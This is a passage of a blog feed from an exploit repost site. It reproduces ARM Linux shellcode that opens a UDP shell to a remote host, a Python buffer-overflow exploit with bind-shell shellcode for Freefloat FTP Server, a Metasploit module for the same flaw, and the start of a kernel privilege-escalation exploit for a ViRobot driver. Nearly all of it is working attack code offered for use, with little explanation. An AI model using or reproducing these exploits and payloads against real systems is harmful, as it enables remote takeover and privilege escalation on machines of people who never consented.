style="color: lime;"&gt;==============================================&lt;br /&gt;linux/ARM - Bind Connect UDP Port 68 Shellcode&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Title: arm-bind-connect-udp&lt;br /&gt; * Brief: Bind to port 68 on any local address and plug a udp shell&lt;br /&gt; *        onto to port 67 on 192.168.0.1&lt;br /&gt; * Author: Daniel Godas-Lopez &amp;lt;gmail account dgodas&amp;gt;&lt;br /&gt; */&lt;br /&gt; &lt;br /&gt;.if 1&lt;br /&gt;    /*&lt;br /&gt;      close(3), close(4), ..., close(1024)&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;    mov %r1, $1024&lt;br /&gt;1:  mov %r0, %r1&lt;br /&gt;    svc 0x00900006&lt;br /&gt;    subs %r1, %r1, $1&lt;br /&gt;    subs %r2, %r1, $3&lt;br /&gt;    bpl 1b&lt;br /&gt;.endif&lt;br /&gt; &lt;br /&gt;    /*&lt;br /&gt;      soc_des = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;    mov %r0, $2     /* AF_INET */&lt;br /&gt;    mov %r1, $2     /* SOCK_DGRAM */&lt;br /&gt;    mov %r2, $17        /* IPPRTOTO_UDP */&lt;br /&gt;    push {%r0, %r1, %r2}&lt;br /&gt;    mov %r0, $1     /* socket */&lt;br /&gt;    mov %r1, %sp&lt;br /&gt;    svc 0x00900066&lt;br /&gt;    add %sp, %sp, $12&lt;br /&gt; &lt;br /&gt;    mov %r6, %r0        /* r6 = soc_des */&lt;br /&gt; &lt;br /&gt;    /*&lt;br /&gt;      bind(soc_des, (struct sockaddr*) &amp;amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;.if 0 /* r0 == r6 already */&lt;br /&gt;    mov %r0, %r6        /* soc_des */&lt;br /&gt;.endif&lt;br /&gt; &lt;br /&gt;    mov %r1, $0x44000000&lt;br /&gt;    add %r1, $2     /* port = 68, family = 2 (AF_INET) */&lt;br /&gt;    sub %r2, %r2, %r2   /* addr = 0.0.0.0 */&lt;br /&gt;    push {%r1, %r2}&lt;br /&gt;    mov %r1, %sp        /* pointer to sockaddr_in */&lt;br /&gt;    mov %r2, $16        /* sizeof(struct sockaddr_in) */&lt;br /&gt;     &lt;br /&gt;    push {%r0, %r1, %r2}&lt;br /&gt;    mov %r0, $2     /* bind */&lt;br /&gt;    mov %r1, %sp&lt;br /&gt;    svc 0x00900066&lt;br /&gt;    add %sp, %sp, $20&lt;br /&gt; &lt;br /&gt;    /*&lt;br /&gt;      connect(soc_des, (struct sockaddr*) &amp;amp;cli_addr, sizeof(cli_addr));&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;    mov %r0, %r6        /* soc_des */&lt;br /&gt; &lt;br /&gt;    mov %r1, $0x43000000&lt;br /&gt;    add %r1, $2     /* port = 67, family = 2 (AF_INET) */&lt;br /&gt;    mov %r2, $0x1000000&lt;br /&gt;    add %r2, %r2, $0xa800&lt;br /&gt;    add %r2, $0xc0      /* addr = 192.168.0.1 */&lt;br /&gt;    push {%r1, %r2}&lt;br /&gt;    mov %r1, %sp        /* pointer to sockaddr_in */&lt;br /&gt;    mov %r2, $16        /* sizeof(struct sockaddr_in) */&lt;br /&gt; &lt;br /&gt;    push {%r0, %r1, %r2}&lt;br /&gt;    mov %r0, $3     /* connect */&lt;br /&gt;    mov %r1, %sp&lt;br /&gt;    svc 0x00900066&lt;br /&gt;    add %sp, %sp, $20&lt;br /&gt; &lt;br /&gt;    /*&lt;br /&gt;      dup2(soc_cli,0);&lt;br /&gt;      dup2(soc_cli,1);&lt;br /&gt;      dup2(soc_cli,2);&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;    mov %r1, $2&lt;br /&gt;1:  mov %r0, %r6&lt;br /&gt;    svc 0x0090003f&lt;br /&gt;    subs %r1, %r1, $1&lt;br /&gt;    bpl 1b&lt;br /&gt; &lt;br /&gt;    /*&lt;br /&gt;      execve("/bin/sh", parms, env);&lt;br /&gt;     */&lt;br /&gt; &lt;br /&gt;    sub %r1, %sp, $4    /* argv[0] = "sh" */&lt;br /&gt;    sub %r2, %r2, %r2   /* argv[1] = 0x00000000 */&lt;br /&gt;    mov %r3, $0x2f&lt;br /&gt;    mov %r7, $0x62&lt;br /&gt;    add %r3, %r7, lsl $8&lt;br /&gt;    mov %r7, $0x69&lt;br /&gt;    add %r3, %r7, lsl $16&lt;br /&gt;    mov %r7, $0x6e&lt;br /&gt;    add %r3, %r7, lsl $24   /* '/'  'b'  'i'  'n'  */&lt;br /&gt;    mov %r4, $'/'&lt;br /&gt;    mov %r7, $'s'&lt;br /&gt;    add %r4, %r7, lsl $8&lt;br /&gt;    mov %r7, $'h'&lt;br /&gt;    add %r4, %r7, lsl $16   /* '/'  's'  'h'  0x00 */&lt;br /&gt;    mov %r5, $'s'&lt;br /&gt;    mov %r7, $'h'&lt;br /&gt;    add %r5, %r7, lsl $8    /* 's'  'h'  0x00 0x00 */&lt;br /&gt; &lt;br /&gt;    push {%r1, %r2, %r3, %r4, %r5}&lt;br /&gt; &lt;br /&gt;    add %r0, %sp, $8    /* filename ptr */&lt;br /&gt;    add %r1, %sp, $0    /* argv ptr */&lt;br /&gt;    add %r2, %sp, $4    /* env ptr */&lt;br /&gt; &lt;br /&gt;    svc 0x0090000b&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# oz&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-2191225219310374684?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/2191225219310374684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/linuxarm-bind-connect-udp-port-68.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2191225219310374684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2191225219310374684'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/linuxarm-bind-connect-udp-port-68.html' title='linux/ARM - Bind Connect UDP Port 68 Shellcode'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-2666114916691874583</id><published>2010-12-21T13:41:00.005+07:00</published><updated>2010-12-21T13:41:32.715+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Freefloat FTP Server Buffer Overflow Vulnerability 0day</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;=======================================================&lt;br /&gt;Freefloat FTP Server Buffer Overflow Vulnerability 0day&lt;br /&gt;=======================================================&lt;br /&gt;&lt;br /&gt;# Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability&lt;br /&gt;# Date: 12/05/2010&lt;br /&gt;# Author: 0v3r&lt;br /&gt;# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip&lt;br /&gt;# Tested on: Windows XP SP3 EN&lt;br /&gt;# CVE: N/A&lt;br /&gt; &lt;br /&gt;#!/usr/bin/python&lt;br /&gt; &lt;br /&gt;import socket&lt;br /&gt;import sys&lt;br /&gt; &lt;br /&gt;def usage():&lt;br /&gt; &lt;br /&gt;        print "usage  : ./freefloatftp.py &amp;lt;victim_ip&amp;gt;  &amp;lt;victim_port&amp;gt;"&lt;br /&gt;        print "example: ./freefloatftp.py 192.168.1.100 21"&lt;br /&gt; &lt;br /&gt;#Bind Shell shellcode port 4444&lt;br /&gt;shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"&lt;br /&gt;"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"&lt;br /&gt;"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"&lt;br /&gt;"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"&lt;br /&gt;"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"&lt;br /&gt;"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"&lt;br /&gt;"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"&lt;br /&gt;"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"&lt;br /&gt;"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"&lt;br /&gt;"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"&lt;br /&gt;"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"&lt;br /&gt;"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"&lt;br /&gt;"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"&lt;br /&gt;"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"&lt;br /&gt;"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"&lt;br /&gt;"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"&lt;br /&gt;"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"&lt;br /&gt;"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"&lt;br /&gt;"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"&lt;br /&gt;"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"&lt;br /&gt;"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"&lt;br /&gt;"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"&lt;br /&gt;"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"&lt;br /&gt;"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"&lt;br /&gt;"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;junk1  = "\x41" * 230&lt;br /&gt;eip    = "\x53\x93\x42\x7E"  #7E429353 JMP ESP&lt;br /&gt;nops   = "\x90" * 16&lt;br /&gt;junk2  = "\x43" * (1000 - len(junk1 + eip + nops + shellcode))&lt;br /&gt; &lt;br /&gt;buff   = junk1 + eip + nops + shellcode + junk2&lt;br /&gt; &lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;print "\n" &lt;br /&gt;print "----------------------------------------------------------------"&lt;br /&gt;print "|      Freefloat FTP Server Buffer Overflow Vulnerability      |"&lt;br /&gt;print "----------------------------------------------------------------"&lt;br /&gt;print "\n"&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;if len(sys.argv) != 3:&lt;br /&gt;    usage()&lt;br /&gt;        sys.exit()&lt;br /&gt; &lt;br /&gt;ip   = sys.argv[1]&lt;br /&gt;port = sys.argv[2]&lt;br /&gt; &lt;br /&gt;try:&lt;br /&gt;    print("[-] Connecting to " + ip + " on port " + port + "\n")&lt;br /&gt;    s.connect((ip,int(port)))&lt;br /&gt;    data = s.recv(1024)&lt;br /&gt;    print("[-] Sending exploit...")&lt;br /&gt;    s.send('USER ' + buff + '\r\n')&lt;br /&gt;    s.close()&lt;br /&gt;    print("[-] Exploit successfully sent...")&lt;br /&gt;    print("[-] Connect to " + ip + " on port 4444")&lt;br /&gt;except:&lt;br /&gt;    print("[-] Connection error...")&lt;br /&gt;    print("[-] Check if victim is up.")&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-2666114916691874583?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/2666114916691874583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/freefloat-ftp-server-buffer-overflow_21.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2666114916691874583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2666114916691874583'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/freefloat-ftp-server-buffer-overflow_21.html' title='Freefloat FTP Server Buffer Overflow Vulnerability 0day'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-1845071038605587663</id><published>2010-12-21T13:37:00.000+07:00</published><updated>2010-12-21T13:37:23.091+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Freefloat FTP Server Buffer Overflow Exploit (Meta)</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;===================================================&lt;br /&gt;Freefloat FTP Server Buffer Overflow Exploit (Meta)&lt;br /&gt;===================================================&lt;br /&gt;&lt;br /&gt;##&lt;br /&gt;# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;# Framework web site for more information on licensing and terms of use.&lt;br /&gt;# http://metasploit.com/framework/&lt;br /&gt;##&lt;br /&gt; &lt;br /&gt;require 'msf/core'&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;    Rank = NormalRanking&lt;br /&gt; &lt;br /&gt;    include Msf::Exploit::Remote::Ftp&lt;br /&gt; &lt;br /&gt;    def initialize(info = {})&lt;br /&gt;        super(update_info(info,&lt;br /&gt;            'Name'           =&amp;gt; 'Freefloat FTP &amp;lt;= 1.00 Stack Buffer Overflow',&lt;br /&gt;            'Description'    =&amp;gt; %q{&lt;br /&gt;                    This module exploits a vulnerability in Freefloat FTP service version 1.00.&lt;br /&gt;                This module uses the USER command to trigger the overflow.&lt;br /&gt;            },&lt;br /&gt;            'Author'         =&amp;gt;&lt;br /&gt;                    [&lt;br /&gt;                        '0v3r',         # original version&lt;br /&gt;                        'Muhamad Fadzil Ramli'  # metasploit module&lt;br /&gt;                    ],&lt;br /&gt;            'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;            'Version'        =&amp;gt; '$Revision: $',&lt;br /&gt;            'References'     =&amp;gt;&lt;br /&gt;                [&lt;br /&gt;                    [ 'EDB', '15689' ],&lt;br /&gt;                    [ 'URL', 'http://www.freefloat.com/software/freefloatftpserver.zip' ]&lt;br /&gt;                ],&lt;br /&gt;            'DefaultOptions' =&amp;gt;&lt;br /&gt;                        {&lt;br /&gt;                                'EXITFUNC' =&amp;gt; 'process',&lt;br /&gt;                    'RPORT'    =&amp;gt; 21&lt;br /&gt;                        },&lt;br /&gt;            'Privileged'     =&amp;gt; false,&lt;br /&gt;            'Payload'        =&amp;gt;&lt;br /&gt;                {&lt;br /&gt;                    'Space'    =&amp;gt; 512,&lt;br /&gt;                    'BadChars' =&amp;gt; "\x00\x0a\x0d\xff\x20",&lt;br /&gt;                    'StackAdjustment' =&amp;gt; -3500,&lt;br /&gt;                    'DisableNops' =&amp;gt; true&lt;br /&gt;                },&lt;br /&gt;            'Platform'       =&amp;gt; 'win',&lt;br /&gt;            'Targets'        =&amp;gt;&lt;br /&gt;                                [&lt;br /&gt;                    [ 'Windows XP SP3 (EN)', { 'Ret' =&amp;gt; 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]&lt;br /&gt;                ],&lt;br /&gt;            'DisclosureDate' =&amp;gt; 'December 5 2010',&lt;br /&gt;            'DefaultTarget'  =&amp;gt; 0))&lt;br /&gt;        deregister_options('FTPUSER','FTPPASS')&lt;br /&gt;    end&lt;br /&gt; &lt;br /&gt;    def check&lt;br /&gt;        connect&lt;br /&gt;        disconnect&lt;br /&gt;        if (banner =~ /FreeFloat Ftp Server \(Version 1\.00\)/)&lt;br /&gt;            return Exploit::CheckCode::Vulnerable&lt;br /&gt;        end&lt;br /&gt;        return Exploit::CheckCode::Safe&lt;br /&gt;    end&lt;br /&gt; &lt;br /&gt;    def exploit&lt;br /&gt; &lt;br /&gt;        connect&lt;br /&gt;        print_status("Trying target #{target.name}...")&lt;br /&gt; &lt;br /&gt;        buf =  rand_text_alpha(230)&lt;br /&gt;        buf &amp;lt;&amp;lt; [target.ret].pack('V')&lt;br /&gt;        buf &amp;lt;&amp;lt; make_nops(16)&lt;br /&gt;        buf &amp;lt;&amp;lt; payload.encoded&lt;br /&gt;        #buf    &amp;lt;&amp;lt; rand_text_alpha(1000 - buf.length)&lt;br /&gt; &lt;br /&gt;        #send_cmd( ['USER',buf],false )&lt;br /&gt;        send_user(buf)&lt;br /&gt; &lt;br /&gt;        handler&lt;br /&gt;        disconnect&lt;br /&gt;    end&lt;br /&gt;end&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-1845071038605587663?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/1845071038605587663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/freefloat-ftp-server-buffer-overflow.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1845071038605587663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/1845071038605587663'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/freefloat-ftp-server-buffer-overflow.html' title='Freefloat FTP Server Buffer Overflow Exploit (Meta)'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-4026917222829078714</id><published>2010-12-21T13:31:00.000+07:00</published><updated>2010-12-21T13:31:06.455+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>ViRobot Desktop 5.5 and Server 3.5 &lt;=2008.8.1.1 Privilege Escalation</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;====================================================================&lt;br /&gt;ViRobot Desktop 5.5 and Server 3.5 &amp;lt;=2008.8.1.1 Privilege Escalation&lt;br /&gt;====================================================================&lt;br /&gt;&lt;br /&gt;VULNERABLE PRODUCTS&lt;br /&gt;Hauri ViRobot Desktop 5.5 and below&lt;br /&gt;Hauri ViRobot Server 3.5 and below&lt;br /&gt; &lt;br /&gt;DETAILS:&lt;br /&gt;VRsecos.sys create a device called "VRsecos" , and handles DeviceIoControl Code = 0x8307202c , which use the function "strcpy" to copy memory from irp systembuffer to driver's data area , can be overwrite critical kernel object memory in vrsecos.sys ' s data area&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;EXPLOIT CODE: (Test On Windows XP SP3 , only for vrsecos.sys == 2008.8.1.1)&lt;br /&gt;\&lt;br /&gt;// virobot0day.cpp : Defines the entry point for the console application.&lt;br /&gt;//&lt;br /&gt;#include "stdafx.h"&lt;br /&gt;#include "windows.h"&lt;br /&gt;#include "malloc.h"&lt;br /&gt;typedef struct X_DISPATCHER_HEADER{&lt;br /&gt;UCHAR Type ;&lt;br /&gt;UCHAR Absolute ;&lt;br /&gt;UCHAR Size ;&lt;br /&gt;UCHAR Inserted ;&lt;br /&gt;ULONG SignalState ;&lt;br /&gt;LIST_ENTRY WaitListHead ;&lt;br /&gt;}X_DISPATCHER_HEADER , *PX_DISPATCHER_HEADER;&lt;br /&gt;typedef struct X_KMUTANT{&lt;br /&gt;X_DISPATCHER_HEADER Header ;&lt;br /&gt;LIST_ENTRY MutantListEntry ;&lt;br /&gt;PVOID OwnerThread ;&lt;br /&gt;UCHAR Abandoned ;&lt;br /&gt;UCHAR ApcDisable ;&lt;br /&gt;}X_KMUTANT , *PX_KMUTANT;&lt;br /&gt;PVOID GetInfoTable(ULONG ATableType)&lt;br /&gt;{&lt;br /&gt;ULONG mSize = 0x4000;&lt;br /&gt;PVOID mPtr = NULL;&lt;br /&gt;LONG status;&lt;br /&gt;HMODULE hlib = GetModuleHandle("ntdll.dll");&lt;br /&gt;PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");&lt;br /&gt; &lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;mPtr = malloc(mSize);&lt;br /&gt;if (mPtr)&lt;br /&gt;{&lt;br /&gt;__asm&lt;br /&gt;{&lt;br /&gt;push 0&lt;br /&gt;push mSize&lt;br /&gt;push mPtr&lt;br /&gt;push ATableType&lt;br /&gt;call pZwQuerySystemInformation&lt;br /&gt;mov status , eax&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;return NULL;&lt;br /&gt;}&lt;br /&gt;if (status == 0xc0000004)&lt;br /&gt;{&lt;br /&gt;free(mPtr);&lt;br /&gt;mSize = mSize * 2;&lt;br /&gt;}&lt;br /&gt;} while (status == 0xc0000004);&lt;br /&gt;if (status == 0)&lt;br /&gt;{&lt;br /&gt;return mPtr;&lt;br /&gt;}&lt;br /&gt;free(mPtr);&lt;br /&gt;return NULL;&lt;br /&gt;}&lt;br /&gt;typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {&lt;br /&gt;    USHORT UniqueProcessId;&lt;br /&gt;    USHORT CreatorBackTraceIndex;&lt;br /&gt;    UCHAR ObjectTypeIndex;&lt;br /&gt;    UCHAR HandleAttributes;&lt;br /&gt;    USHORT HandleValue;&lt;br /&gt;    PVOID Object;&lt;br /&gt;    ULONG GrantedAccess;&lt;br /&gt;} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;&lt;br /&gt;typedef struct _SYSTEM_HANDLE_INFORMATION {&lt;br /&gt;    ULONG NumberOfHandles;&lt;br /&gt;    SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];&lt;br /&gt;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;&lt;br /&gt;enum { SystemModuleInformation = 11,&lt;br /&gt;SystemHandleInformation = 16 };&lt;br /&gt;typedef struct {&lt;br /&gt;    ULONG   Unknown1;&lt;br /&gt;    ULONG   Unknown2;&lt;br /&gt;    PVOID   Base;&lt;br /&gt;    ULONG   Size;&lt;br /&gt;    ULONG   Flags;&lt;br /&gt;    USHORT Index;&lt;br /&gt;    USHORT NameLength;&lt;br /&gt;    USHORT LoadCount;&lt;br /&gt;    USHORT PathLength;&lt;br /&gt;    CHAR    ImageName[256];&lt;br /&gt;} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;&lt;br /&gt;typedef struct {&lt;br /&gt;    ULONG   Count;&lt;br /&gt;    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];&lt;br /&gt;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;&lt;br /&gt;typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);&lt;br /&gt;typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);&lt;br /&gt;typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(&lt;br /&gt;  ULONG x1,&lt;br /&gt;  ULONG y1,&lt;br /&gt;  ULONG x2,&lt;br /&gt;  ULONG y2,&lt;br /&gt;  ULONG color&lt;br /&gt;    );&lt;br /&gt;typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(&lt;br /&gt;  ULONG Color&lt;br /&gt;    );&lt;br /&gt;typedef&lt;br /&gt;VOID&lt;br /&gt;(*INBV_DISPLAY_STRING_FILTER)(&lt;br /&gt;  PUCHAR *Str&lt;br /&gt;    );&lt;br /&gt;typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(&lt;br /&gt;    INBV_DISPLAY_STRING_FILTER DisplayStringFilter&lt;br /&gt;    );&lt;br /&gt;typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(&lt;br /&gt;    BOOLEAN bEnable&lt;br /&gt;    );&lt;br /&gt;typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(&lt;br /&gt;    ULONG x1,&lt;br /&gt;    ULONG y1,&lt;br /&gt;    ULONG x2,&lt;br /&gt;    ULONG y2&lt;br /&gt;    );&lt;br /&gt;typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(&lt;br /&gt;    PUCHAR Str&lt;br /&gt;    );&lt;br /&gt;PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;&lt;br /&gt;PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;&lt;br /&gt;PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;&lt;br /&gt;PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;&lt;br /&gt;PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;&lt;br /&gt;PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;&lt;br /&gt;PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;&lt;br /&gt;PINBV_DISPLAY_STRING InbvDisplayString= 0 ;&lt;br /&gt;#define VGA_COLOR_BLACK 0&lt;br /&gt;#define VGA_COLOR_RED 1&lt;br /&gt;#define VGA_COLOR_GREEN 2&lt;br /&gt;#define VGA_COLOR_GR 3&lt;br /&gt;#define VGA_COLOR_BULE 4&lt;br /&gt;#define VGA_COLOR_DARK_MEGAENTA 5&lt;br /&gt;#define VGA_COLOR_TURQUOISE 6&lt;br /&gt;#define VGA_COLOR_GRAY 7&lt;br /&gt;#define VGA_COLOR_BRIGHT_GRAY 8&lt;br /&gt;#define VGA_COLOR_BRIGHT_RED 9&lt;br /&gt;#define VGA_COLOR_BRIGHT_GREEN 10&lt;br /&gt;#define VGA_COLOR_BRIGHT_YELLOW 11&lt;br /&gt;#define VGA_COLOR_BRIGHT_BULE 12&lt;br /&gt;#define VGA_COLOR_BRIGHT_PURPLE 13&lt;br /&gt;#define VGA_COLOR_BRIGHT_TURQUOISE 14&lt;br /&gt;#define VGA_COLOR_WHITE 15&lt;br /&gt;UCHAR DisplayString[] =&lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                ---- ===== EXPLOIT SUCCESSFULLY ==== ----                       "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" ViRobot Desktop 5.5 &amp;amp; ViRobot Server 3.5 Local Privilege Escalation Exploit    "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" VULNERABLE PRODUCT                                                             "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" ViRobot Desktop 5.5 and below                                                  "&lt;br /&gt; &lt;br /&gt;" ViRobot Server 3.5 and below                                                   "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" VULERABLE FILE                                                                 "&lt;br /&gt; &lt;br /&gt;" VRsecos.sys &amp;lt;= 2008.8.1.1                                                      "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br /&gt; &lt;br /&gt;" AUTHOR                                                                         "&lt;br /&gt; &lt;br /&gt;"                                                                                "&lt;br 